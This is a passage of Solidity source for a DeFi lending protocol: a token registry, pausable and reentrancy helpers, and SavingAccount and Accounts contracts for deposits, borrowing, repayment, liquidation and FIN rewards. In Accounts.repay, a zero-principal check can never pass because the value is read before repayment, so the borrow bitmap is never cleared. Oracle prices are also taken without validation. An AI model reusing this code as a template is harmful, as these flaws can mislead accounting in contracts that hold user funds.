disabled"); tokenInfo[_token].enabled = false; emit TokenUpdated(_token); } // ===================== // GETTERS // ===================== /** * @dev Is token address is registered * @param _token token address * @return Returns `true` when token registered, otherwise `false` */ function isTokenExist(address _token) public view returns (bool isExist) { isExist = tokenInfo[_token].chainLinkOracle != address(0); } function getTokens() external view returns (address[] memory) { return tokens; } function getTokenIndex(address _token) external view returns (uint8) { return tokenInfo[_token].index; } function isTokenEnabled(address _token) external view returns (bool) { return tokenInfo[_token].enabled; } /** */ function getCTokens() external view returns (address[] memory cTokens) { uint256 len = tokens.length; cTokens = new address[](len); for(uint256 i = 0; i < len; i++) { cTokens[i] = tokenInfo[tokens[i]].cToken; } } function getTokenDecimals(address _token) public view returns (uint8) { return tokenInfo[_token].decimals; } function isTransferFeeEnabled(address _token) external view returns (bool) { return tokenInfo[_token].isTransferFeeEnabled; } function isSupportedOnCompound(address _token) external view returns (bool) { return tokenInfo[_token].isSupportedOnCompound; } /** */ function getCToken(address _token) external view returns (address) { return tokenInfo[_token].cToken; } function getChainLinkAggregator(address _token) external view returns (address) { return tokenInfo[_token].chainLinkOracle; } function getBorrowLTV(address _token) external view returns (uint256) { return tokenInfo[_token].borrowLTV; } function getCoinLength() public view returns (uint256 length) { return tokens.length; } function addressFromIndex(uint index) public view returns(address) { require(index < tokens.length, "coinIndex must be smaller than the coins length."); return tokens[index]; } function priceFromIndex(uint index) public view returns(uint256) { require(index < tokens.length, "coinIndex must be smaller than the coins length."); address tokenAddress = tokens[index]; // Temp fix if(Utils._isETH(address(globalConfig), tokenAddress)) { return 1e18; } return uint256(AggregatorInterface(tokenInfo[tokenAddress].chainLinkOracle).latestAnswer()); } function priceFromAddress(address tokenAddress) public view returns(uint256) { if(Utils._isETH(address(globalConfig), tokenAddress)) { return 1e18; } return uint256(AggregatorInterface(tokenInfo[tokenAddress].chainLinkOracle).latestAnswer()); } function _priceFromAddress(address _token) internal view returns (uint) { return _token != ETH_ADDR ? uint256(AggregatorInterface(tokenInfo[_token].chainLinkOracle).latestAnswer()) : INT_UNIT; } function _tokenDivisor(address _token) internal view returns (uint) { return _token != ETH_ADDR ? 10**uint256(tokenInfo[_token].decimals) : INT_UNIT; } function getTokenInfoFromIndex(uint index) external view whenTokenExists(addressFromIndex(index)) returns ( address, uint256, uint256, uint256 ) { address token = tokens[index]; return ( token, _tokenDivisor(token), _priceFromAddress(token), tokenInfo[token].borrowLTV ); } function getTokenInfoFromAddress(address _token) external view whenTokenExists(_token) returns ( uint8, uint256, uint256, uint256 ) { return ( tokenInfo[_token].index, _tokenDivisor(_token), _priceFromAddress(_token), tokenInfo[_token].borrowLTV ); } // function _isETH(address _token) public view returns (bool) { // return globalConfig.constants().ETH_ADDR() == _token; // } // function getDivisor(address _token) public view returns (uint256) { // if(_isETH(_token)) return INT_UNIT; // return 10 ** uint256(getTokenDecimals(_token)); // } mapping(address => uint) public depositeMiningSpeeds; mapping(address => uint) public borrowMiningSpeeds; function updateMiningSpeed(address _token, uint _depositeMiningSpeed, uint _borrowMiningSpeed) public onlyOwner{ if(_depositeMiningSpeed != depositeMiningSpeeds[_token]) { depositeMiningSpeeds[_token] = _depositeMiningSpeed; } if(_borrowMiningSpeed != borrowMiningSpeeds[_token]) { borrowMiningSpeeds[_token] = _borrowMiningSpeed; } emit TokenUpdated(_token); } } /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract InitializablePausable { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); address private globalConfig; bool private _paused; function _initialize(address _globalConfig) internal { globalConfig = _globalConfig; _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(GlobalConfig(globalConfig).owner()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(GlobalConfig(globalConfig).owner()); } modifier onlyPauser() { require(msg.sender == GlobalConfig(globalConfig).owner(), "PauserRole: caller does not have the Pauser role"); _; } } /** * @notice Code copied from OpenZeppelin, to make it an upgradable contract */ /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract InitializableReentrancyGuard { bool private _notEntered; function _initialize() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } contract SavingAccount is Initializable, InitializableReentrancyGuard, Constant, InitializablePausable { using SafeERC20 for IERC20; using SafeMath for uint256; GlobalConfig public globalConfig; address public constant FIN_ADDR = 0x576c990A8a3E7217122e9973b2230A3be9678E94; address public constant COMP_ADDR = address(0); event Transfer(address indexed token, address from, address to, uint256 amount); event Borrow(address indexed token, address from, uint256 amount); event Repay(address indexed token, address from, uint256 amount); event Deposit(address indexed token, address from, uint256 amount); event Withdraw(address indexed token, address from, uint256 amount); event WithdrawAll(address indexed token, address from, uint256 amount); event Liquidate(address liquidator, address borrower, address borrowedToken, uint256 repayAmount, address collateralToken, uint256 payAmount); event Claim(address from, uint256 amount); event WithdrawCOMP(address beneficiary, uint256 amount); modifier onlySupportedToken(address _token) { if(_token != ETH_ADDR) { require(globalConfig.tokenInfoRegistry().isTokenExist(_token), "Unsupported token"); } _; } modifier onlyEnabledToken(address _token) { require(globalConfig.tokenInfoRegistry().isTokenEnabled(_token), "The token is not enabled"); _; } modifier onlyAuthorized() { require(msg.sender == address(globalConfig.bank()), "Only authorized to call from DeFiner internal contracts."); _; } modifier onlyOwner() { require(msg.sender == GlobalConfig(globalConfig).owner(), "Only owner"); _; } /** * Initialize function to be called by the Deployer for the first time * @param _tokenAddresses list of token addresses * @param _cTokenAddresses list of corresponding cToken addresses * @param _globalConfig global configuration contract */ function initialize( address[] memory _tokenAddresses, address[] memory _cTokenAddresses, GlobalConfig _globalConfig ) public initializer { // Initialize InitializableReentrancyGuard super._initialize(); super._initialize(address(_globalConfig)); globalConfig = _globalConfig; require(_tokenAddresses.length == _cTokenAddresses.length, "Token and cToken length don't match."); uint tokenNum = _tokenAddresses.length; for(uint i = 0;i < tokenNum;i++) { if(_cTokenAddresses[i] != address(0x0) && _tokenAddresses[i] != ETH_ADDR) { approveAll(_tokenAddresses[i]); } } } /** * Approve transfer of all available tokens * @param _token token address */ function approveAll(address _token) public { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); require(cToken != address(0x0), "cToken address is zero"); IERC20(_token).safeApprove(cToken, 0); IERC20(_token).safeApprove(cToken, uint256(-1)); } /** * Get current block number * @return the current block number */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * Transfer the token between users inside DeFiner * @param _to the address that the token be transfered to * @param _token token address * @param _amount amout of tokens transfer */ function transfer(address _to, address _token, uint _amount) external onlySupportedToken(_token) onlyEnabledToken(_token) whenNotPaused nonReentrant { globalConfig.bank().newRateIndexCheckpoint(_token); uint256 amount = globalConfig.accounts().withdraw(msg.sender, _token, _amount); globalConfig.accounts().deposit(_to, _token, amount); emit Transfer(_token, msg.sender, _to, amount); } /** * Borrow the amount of token from the saving pool. * @param _token token address * @param _amount amout of tokens to borrow */ function borrow(address _token, uint256 _amount) external onlySupportedToken(_token) onlyEnabledToken(_token) whenNotPaused nonReentrant { require(_amount != 0, "Borrow zero amount of token is not allowed."); globalConfig.bank().borrow(msg.sender, _token, _amount); // Transfer the token on Ethereum SavingLib.send(globalConfig, _amount, _token); emit Borrow(_token, msg.sender, _amount); } /** * Repay the amount of token back to the saving pool. * @param _token token address * @param _amount amout of tokens to borrow * @dev If the repay amount is larger than the borrowed balance, the extra will be returned. */ function repay(address _token, uint256 _amount) public payable onlySupportedToken(_token) nonReentrant { require(_amount != 0, "Amount is zero"); SavingLib.receive(globalConfig, _amount, _token); // Add a new checkpoint on the index curve. uint256 amount = globalConfig.bank().repay(msg.sender, _token, _amount); // Send the remain money back if(amount < _amount) { SavingLib.send(globalConfig, _amount.sub(amount), _token); } emit Repay(_token, msg.sender, amount); } /** * Deposit the amount of token to the saving pool. * @param _token the address of the deposited token * @param _amount the mount of the deposited token */ function deposit(address _token, uint256 _amount) public payable onlySupportedToken(_token) onlyEnabledToken(_token) nonReentrant { require(_amount != 0, "Amount is zero"); SavingLib.receive(globalConfig, _amount, _token); globalConfig.bank().deposit(msg.sender, _token, _amount); emit Deposit(_token, msg.sender, _amount); } /** * Withdraw a token from an address * @param _token token address * @param _amount amount to be withdrawn */ function withdraw(address _token, uint256 _amount) external onlySupportedToken(_token) whenNotPaused nonReentrant { require(_amount != 0, "Amount is zero"); uint256 amount = globalConfig.bank().withdraw(msg.sender, _token, _amount); SavingLib.send(globalConfig, amount, _token); emit Withdraw(_token, msg.sender, amount); } /** * Withdraw all tokens from the saving pool. * @param _token the address of the withdrawn token */ function withdrawAll(address _token) external onlySupportedToken(_token) whenNotPaused nonReentrant { // Sanity check require(globalConfig.accounts().getDepositPrincipal(msg.sender, _token) > 0, "Token depositPrincipal must be greater than 0"); // Add a new checkpoint on the index curve. globalConfig.bank().newRateIndexCheckpoint(_token); // Get the total amount of token for the account uint amount = globalConfig.accounts().getDepositBalanceCurrent(_token, msg.sender); uint256 actualAmount = globalConfig.bank().withdraw(msg.sender, _token, amount); if(actualAmount != 0) { SavingLib.send(globalConfig, actualAmount, _token); } emit WithdrawAll(_token, msg.sender, actualAmount); } function liquidate(address _borrower, address _borrowedToken, address _collateralToken) public onlySupportedToken(_borrowedToken) onlySupportedToken(_collateralToken) whenNotPaused nonReentrant { (uint256 repayAmount, uint256 payAmount) = globalConfig.accounts().liquidate(msg.sender, _borrower, _borrowedToken, _collateralToken); emit Liquidate(msg.sender, _borrower, _borrowedToken, repayAmount, _collateralToken, payAmount); } /** * Withdraw token from Compound * @param _token token address * @param _amount amount of token */ function fromCompound(address _token, uint _amount) external onlyAuthorized { require(ICToken(globalConfig.tokenInfoRegistry().getCToken(_token)).redeemUnderlying(_amount) == 0, "redeemUnderlying failed"); } function toCompound(address _token, uint _amount) external onlyAuthorized { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); if (Utils._isETH(address(globalConfig), _token)) { ICETH(cToken).mint.value(_amount)(); } else { // uint256 success = ICToken(cToken).mint(_amount); require(ICToken(cToken).mint(_amount) == 0, "mint failed"); } } function() external payable{} /** * An account claim all mined FIN token */ function claim() public nonReentrant returns (uint256) { uint256 finAmount = globalConfig.accounts().claim(msg.sender); IERC20(FIN_ADDR).safeTransfer(msg.sender, finAmount); emit Claim(msg.sender, finAmount); return finAmount; } function claimForToken(address _token) public nonReentrant returns (uint256) { uint256 finAmount = globalConfig.accounts().claimForToken(msg.sender, _token); if(finAmount > 0) IERC20(FIN_ADDR).safeTransfer(msg.sender, finAmount); emit Claim(msg.sender, finAmount); return finAmount; } /** * Withdraw COMP token to beneficiary */ /* function withdrawCOMP(address _beneficiary) external onlyOwner { uint256 compBalance = IERC20(COMP_ADDR).balanceOf(address(this)); IERC20(COMP_ADDR).safeTransfer(_beneficiary, compBalance); emit WithdrawCOMP(_beneficiary, compBalance); } */ function version() public pure returns(string memory) { return "v1.2.0"; } } interface IGlobalConfig { function savingAccount() external view returns (address); function tokenInfoRegistry() external view returns (TokenRegistry); function bank() external view returns (Bank); function deFinerCommunityFund() external view returns (address); function deFinerRate() external view returns (uint256); function liquidationThreshold() external view returns (uint256); function liquidationDiscountRatio() external view returns (uint256); } contract Accounts is Constant, Initializable{ using AccountTokenLib for AccountTokenLib.TokenInfo; using BitmapLib for uint128; using SafeMath for uint256; using Math for uint256; mapping(address => Account) public accounts; IGlobalConfig globalConfig; mapping(address => uint256) public FINAmount; modifier onlyAuthorized() { _isAuthorized(); _; } struct Account { // Note, it's best practice to use functions minusAmount, addAmount, totalAmount // to operate tokenInfos instead of changing it directly. mapping(address => AccountTokenLib.TokenInfo) tokenInfos; uint128 depositBitmap; uint128 borrowBitmap; uint128 collateralBitmap; bool isCollInit; } event CollateralFlagChanged(address indexed _account, uint8 _index, bool _enabled); function _isAuthorized() internal view { require( msg.sender == address(globalConfig.savingAccount()) || msg.sender == address(globalConfig.bank()), "not authorized" ); } /** * Initialize the Accounts * @param _globalConfig the global configuration contract */ function initialize( IGlobalConfig _globalConfig ) public initializer { globalConfig = _globalConfig; } /** * @dev Initialize the Collateral flag Bitmap for given account * @notice This function is required for the contract upgrade, as previous users didn't * have this collateral feature. So need to init the collateralBitmap for each user. * @param _account User account address */ function initCollateralFlag(address _account) public { Account storage account = accounts[_account]; // For all users by default `isCollInit` will be `false` if(account.isCollInit == false) { // Two conditions: // 1) An account has some position previous to this upgrade // THEN: copy `depositBitmap` to `collateralBitmap` // 2) A new account is setup after this upgrade // THEN: `depositBitmap` will be zero for that user, so don't copy // all deposited tokens be treated as collateral if(account.depositBitmap > 0) account.collateralBitmap = account.depositBitmap; account.isCollInit = true; } // when isCollInit == true, function will just return after if condition check } /** * @dev Enable/Disable collateral for a given token * @param _tokenIndex Index of the token * @param _enable `true` to enable the collateral, `false` to disable */ function setCollateral(uint8 _tokenIndex, bool _enable) public { address accountAddr = msg.sender; initCollateralFlag(accountAddr); Account storage account = accounts[accountAddr]; if(_enable) { account.collateralBitmap = account.collateralBitmap.setBit(_tokenIndex); // when set new collateral, no need to evaluate borrow power } else { account.collateralBitmap = account.collateralBitmap.unsetBit(_tokenIndex); // when unset collateral, evaluate borrow power, only when user borrowed already if(account.borrowBitmap > 0) { require(getBorrowETH(accountAddr) <= getBorrowPower(accountAddr), "Insufficient collateral"); } } emit CollateralFlagChanged(msg.sender, _tokenIndex, _enable); } function setCollateral(uint8[] calldata _tokenIndexArr, bool[] calldata _enableArr) external { require(_tokenIndexArr.length == _enableArr.length, "array length does not match"); for(uint i = 0; i < _tokenIndexArr.length; i++) { setCollateral(_tokenIndexArr[i], _enableArr[i]); } } function getCollateralStatus(address _account) external view returns (address[] memory tokens, bool[] memory status) { Account memory account = accounts[_account]; TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); tokens = tokenRegistry.getTokens(); uint256 tokensCount = tokens.length; status = new bool[](tokensCount); uint128 collBitmap = account.collateralBitmap; for(uint i = 0; i < tokensCount; i++) { // Example: 0001 << 1 => 0010 (mask for 2nd position) uint128 mask = uint128(1) << uint128(i); bool isEnabled = (collBitmap & mask) > 0; if(isEnabled) status[i] = true; } } /** * Check if the user has deposit for any tokens * @param _account address of the user * @return true if the user has positive deposit balance */ function isUserHasAnyDeposits(address _account) public view returns (bool) { Account storage account = accounts[_account]; return account.depositBitmap > 0; } /** * Check if the user has deposit for a token * @param _account address of the user * @param _index index of the token * @return true if the user has positive deposit balance for the token */ function isUserHasDeposits(address _account, uint8 _index) public view returns (bool) { Account storage account = accounts[_account]; return account.depositBitmap.isBitSet(_index); } /** * Check if the user has borrowed a token * @param _account address of the user * @param _index index of the token * @return true if the user has borrowed the token */ function isUserHasBorrows(address _account, uint8 _index) public view returns (bool) { Account storage account = accounts[_account]; return account.borrowBitmap.isBitSet(_index); } /** * Check if the user has collateral flag set * @param _account address of the user * @param _index index of the token * @return true if the user has collateral flag set for the given index */ function isUserHasCollateral(address _account, uint8 _index) public view returns(bool) { Account storage account = accounts[_account]; return account.collateralBitmap.isBitSet(_index); } /** * Set the deposit bitmap for a token. * @param _account address of the user * @param _index index of the token */ function setInDepositBitmap(address _account, uint8 _index) internal { Account storage account = accounts[_account]; account.depositBitmap = account.depositBitmap.setBit(_index); } /** * Unset the deposit bitmap for a token * @param _account address of the user * @param _index index of the token */ function unsetFromDepositBitmap(address _account, uint8 _index) internal { Account storage account = accounts[_account]; account.depositBitmap = account.depositBitmap.unsetBit(_index); } /** * Set the borrow bitmap for a token. * @param _account address of the user * @param _index index of the token */ function setInBorrowBitmap(address _account, uint8 _index) internal { Account storage account = accounts[_account]; account.borrowBitmap = account.borrowBitmap.setBit(_index); } /** * Unset the borrow bitmap for a token * @param _account address of the user * @param _index index of the token */ function unsetFromBorrowBitmap(address _account, uint8 _index) internal { Account storage account = accounts[_account]; account.borrowBitmap = account.borrowBitmap.unsetBit(_index); } function getDepositPrincipal(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; return tokenInfo.getDepositPrincipal(); } function getBorrowPrincipal(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; return tokenInfo.getBorrowPrincipal(); } function getLastDepositBlock(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; return tokenInfo.getLastDepositBlock(); } function getLastBorrowBlock(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; return tokenInfo.getLastBorrowBlock(); } /** * Get deposit interest of an account for a specific token * @param _account account address * @param _token token address * @dev The deposit interest may not have been updated in AccountTokenLib, so we need to explicited calcuate it. */ function getDepositInterest(address _account, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_account].tokenInfos[_token]; // If the account has never deposited the token, return 0. uint256 lastDepositBlock = tokenInfo.getLastDepositBlock(); if (lastDepositBlock == 0) return 0; else { // As the last deposit block exists, the block is also a check point on index curve. uint256 accruedRate = globalConfig.bank().getDepositAccruedRate(_token, lastDepositBlock); return tokenInfo.calculateDepositInterest(accruedRate); } } function getBorrowInterest(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; // If the account has never borrowed the token, return 0 uint256 lastBorrowBlock = tokenInfo.getLastBorrowBlock(); if (lastBorrowBlock == 0) return 0; else { // As the last borrow block exists, the block is also a check point on index curve. uint256 accruedRate = globalConfig.bank().getBorrowAccruedRate(_token, lastBorrowBlock); return tokenInfo.calculateBorrowInterest(accruedRate); } } function borrow(address _accountAddr, address _token, uint256 _amount) external onlyAuthorized { initCollateralFlag(_accountAddr); require(_amount != 0, "borrow amount is 0"); require(isUserHasAnyDeposits(_accountAddr), "no user deposits"); (uint8 tokenIndex, uint256 tokenDivisor, uint256 tokenPrice,) = globalConfig.tokenInfoRegistry().getTokenInfoFromAddress(_token); require( getBorrowETH(_accountAddr).add(_amount.mul(tokenPrice).div(tokenDivisor)) <= getBorrowPower(_accountAddr), "Insufficient collateral when borrow" ); AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; uint256 blockNumber = getBlockNumber(); uint256 lastBorrowBlock = tokenInfo.getLastBorrowBlock(); if(lastBorrowBlock == 0) tokenInfo.borrow(_amount, INT_UNIT, blockNumber); else { calculateBorrowFIN(lastBorrowBlock, _token, _accountAddr, blockNumber); uint256 accruedRate = globalConfig.bank().getBorrowAccruedRate(_token, lastBorrowBlock); // Update the token principla and interest tokenInfo.borrow(_amount, accruedRate, blockNumber); } // Since we have checked that borrow amount is larget than zero. We can set the borrow // map directly without checking the borrow balance. setInBorrowBitmap(_accountAddr, tokenIndex); } /** * Update token info for withdraw. The interest will be withdrawn with higher priority. */ function withdraw(address _accountAddr, address _token, uint256 _amount) public onlyAuthorized returns (uint256) { initCollateralFlag(_accountAddr); (, uint256 tokenDivisor, uint256 tokenPrice, uint256 borrowLTV) = globalConfig.tokenInfoRegistry().getTokenInfoFromAddress(_token); // if user borrowed before then only check for under liquidation Account memory account = accounts[_accountAddr]; if(account.borrowBitmap > 0) { uint256 withdrawETH = _amount.mul(tokenPrice).mul(borrowLTV).div(tokenDivisor).div(100); require(getBorrowETH(_accountAddr) <= getBorrowPower(_accountAddr).sub(withdrawETH), "Insufficient collateral"); } (uint256 amountAfterCommission, ) = _withdraw(_accountAddr, _token, _amount, true); return amountAfterCommission; } /** * This function is called in liquidation function. There two difference between this function and * the Account.withdraw function: 1) It doesn't check the user's borrow power, because the user * is already borrowed more than it's borrowing power. 2) It doesn't take commissions. */ function withdraw_liquidate(address _accountAddr, address _token, uint256 _amount) internal { _withdraw(_accountAddr, _token, _amount, false); } function _withdraw(address _accountAddr, address _token, uint256 _amount, bool _isCommission) internal returns (uint256, uint256) { uint256 calcAmount = _amount; // Check if withdraw amount is less than user's balance require(calcAmount <= getDepositBalanceCurrent(_token, _accountAddr), "Insufficient balance"); AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; uint256 lastBlock = tokenInfo.getLastDepositBlock(); uint256 blockNumber = getBlockNumber(); calculateDepositFIN(lastBlock, _token, _accountAddr, blockNumber); uint256 principalBeforeWithdraw = tokenInfo.getDepositPrincipal(); if (lastBlock == 0) tokenInfo.withdraw(calcAmount, INT_UNIT, blockNumber); else { // As the last deposit block exists, the block is also a check point on index curve. uint256 accruedRate = globalConfig.bank().getDepositAccruedRate(_token, lastBlock); tokenInfo.withdraw(calcAmount, accruedRate, blockNumber); } uint256 principalAfterWithdraw = tokenInfo.getDepositPrincipal(); if(principalAfterWithdraw == 0) { uint8 tokenIndex = globalConfig.tokenInfoRegistry().getTokenIndex(_token); unsetFromDepositBitmap(_accountAddr, tokenIndex); } uint256 commission = 0; if (_isCommission && _accountAddr != globalConfig.deFinerCommunityFund()) { // DeFiner takes 10% commission on the interest a user earn commission = calcAmount.sub(principalBeforeWithdraw.sub(principalAfterWithdraw)).mul(globalConfig.deFinerRate()).div(100); deposit(globalConfig.deFinerCommunityFund(), _token, commission); calcAmount = calcAmount.sub(commission); } return (calcAmount, commission); } /** * Update token info for deposit */ function deposit(address _accountAddr, address _token, uint256 _amount) public onlyAuthorized { initCollateralFlag(_accountAddr); AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; if(tokenInfo.getDepositPrincipal() == 0) { uint8 tokenIndex = globalConfig.tokenInfoRegistry().getTokenIndex(_token); setInDepositBitmap(_accountAddr, tokenIndex); } uint256 blockNumber = getBlockNumber(); uint256 lastDepositBlock = tokenInfo.getLastDepositBlock(); if(lastDepositBlock == 0) tokenInfo.deposit(_amount, INT_UNIT, blockNumber); else { calculateDepositFIN(lastDepositBlock, _token, _accountAddr, blockNumber); uint256 accruedRate = globalConfig.bank().getDepositAccruedRate(_token, lastDepositBlock); tokenInfo.deposit(_amount, accruedRate, blockNumber); } } function repay(address _accountAddr, address _token, uint256 _amount) public onlyAuthorized returns(uint256){ initCollateralFlag(_accountAddr); // Update tokenInfo uint256 amountOwedWithInterest = getBorrowBalanceCurrent(_token, _accountAddr); uint256 amount = _amount > amountOwedWithInterest ? amountOwedWithInterest : _amount; uint256 remain = _amount > amountOwedWithInterest ? _amount.sub(amountOwedWithInterest) : 0; AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; // Sanity check uint256 borrowPrincipal = tokenInfo.getBorrowPrincipal(); uint256 lastBorrowBlock = tokenInfo.getLastBorrowBlock(); require(borrowPrincipal > 0, "BorrowPrincipal not gt 0"); if(lastBorrowBlock == 0) tokenInfo.repay(amount, INT_UNIT, getBlockNumber()); else { calculateBorrowFIN(lastBorrowBlock, _token, _accountAddr, getBlockNumber()); uint256 accruedRate = globalConfig.bank().getBorrowAccruedRate(_token, lastBorrowBlock); tokenInfo.repay(amount, accruedRate, getBlockNumber()); } if(borrowPrincipal == 0) { uint8 tokenIndex = globalConfig.tokenInfoRegistry().getTokenIndex(_token); unsetFromBorrowBitmap(_accountAddr, tokenIndex); } return remain; } function getDepositBalanceCurrent( address _token, address _accountAddr ) public view returns (uint256 depositBalance) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; Bank bank = globalConfig.bank(); uint256 accruedRate; uint256 depositRateIndex = bank.depositeRateIndex(_token, tokenInfo.getLastDepositBlock()); if(tokenInfo.getDepositPrincipal() == 0) { return 0; } else { if(depositRateIndex == 0) { accruedRate = INT_UNIT; } else { accruedRate = bank.depositeRateIndexNow(_token) .mul(INT_UNIT) .div(depositRateIndex); } return tokenInfo.getDepositBalance(accruedRate); } } /** * Get current borrow balance of a token * @param _token token address * @dev This is an estimation. Add a new checkpoint first, if you want to derive the exact balance. */ function getBorrowBalanceCurrent( address _token, address _accountAddr ) public view returns (uint256 borrowBalance) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; Bank bank = globalConfig.bank(); uint256 accruedRate; uint256 borrowRateIndex = bank.borrowRateIndex(_token, tokenInfo.getLastBorrowBlock()); if(tokenInfo.getBorrowPrincipal() == 0) { return 0; } else { if(borrowRateIndex == 0) { accruedRate = INT_UNIT; } else { accruedRate = bank.borrowRateIndexNow(_token) .mul(INT_UNIT) .div(borrowRateIndex); } return tokenInfo.getBorrowBalance(accruedRate); } } /** * Calculate an account's borrow power based on token's LTV */ /* function getBorrowPower(address _borrower) public view returns (uint256 power) { TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); uint256 tokenNum = tokenRegistry.getCoinLength(); for(uint256 i = 0; i < tokenNum; i++) { if (isUserHasDeposits(_borrower, uint8(i))) { (address token, uint256 divisor, uint256 price, uint256 borrowLTV) = tokenRegistry.getTokenInfoFromIndex(i); uint256 depositBalanceCurrent = getDepositBalanceCurrent(token, _borrower); power = power.add(depositBalanceCurrent.mul(price).mul(borrowLTV).div(100).div(divisor)); } } return power; } */ function getBorrowPower(address _borrower) public view returns (uint256 power) { Account storage account = accounts[_borrower]; // if a user have deposits in some tokens and collateral enabled for some // then we need to iterate over his deposits for which collateral is also enabled. // Hence, we can derive this information by perorming AND bitmap operation // hasCollnDepositBitmap = collateralEnabled & hasDeposit // Example: // collateralBitmap = 0101 // depositBitmap = 0110 // ================================== OP AND // hasCollnDepositBitmap = 0100 (user can only use his 3rd token as borrow power) uint128 hasCollnDepositBitmap = account.collateralBitmap & account.depositBitmap; // When no-collateral enabled and no-deposits just return '0' power if(hasCollnDepositBitmap == 0) return power; TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); // This loop has max "O(n)" complexity where "n = TokensLength", but the loop // calculates borrow power only for the `hasCollnDepositBitmap` bit, hence the loop // iterates only till the highest bit set. Example 00000100, the loop will iterate // only for 4 times, and only 1 time to calculate borrow the power. // NOTE: When transaction gas-cost goes above the block gas limit, a user can // disable some of his collaterals so that he can perform the borrow. // Earlier loop implementation was iterating over all tokens, hence the platform // were not able to add new tokens for(uint i = 0; i < 128; i++) { // if hasCollnDepositBitmap = 0000 then break the loop if(hasCollnDepositBitmap > 0) { // hasCollnDepositBitmap = 0100 // mask = 0001 // =============================== OP AND // result = 0000 bool isEnabled = (hasCollnDepositBitmap & uint128(1)) > 0; // Is i(th) token enabled? if(isEnabled) { // continue calculating borrow power for i(th) token (address token, uint256 divisor, uint256 price, uint256 borrowLTV) = tokenRegistry.getTokenInfoFromIndex(i); // avoid some gas consumption when borrowLTV == 0 if(borrowLTV != 0) { uint256 depositBalanceCurrent = 